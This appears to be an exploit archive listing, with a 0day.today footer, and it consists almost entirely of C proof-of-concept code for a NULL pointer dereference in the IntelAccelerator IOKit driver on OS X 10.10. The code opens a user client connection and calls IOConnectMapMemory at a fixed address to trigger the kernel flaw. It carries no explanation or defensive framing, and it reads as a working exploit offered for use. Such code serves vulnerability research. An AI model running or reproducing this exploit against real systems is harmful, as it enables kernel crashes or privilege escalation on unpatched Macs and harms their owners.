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OS X 10.10 IOKit IntelAccelerator NULL Pointer Dereference Exploit
[#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(){
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 2, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}else{
printf("got userclient connection: %x\n", conn);
}
mach_vm_address_t addr = 0x414100000000;
mach_vm_size_t size = 0x1000;
err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
return 0;
}
# 0day.today [2024-11-15] #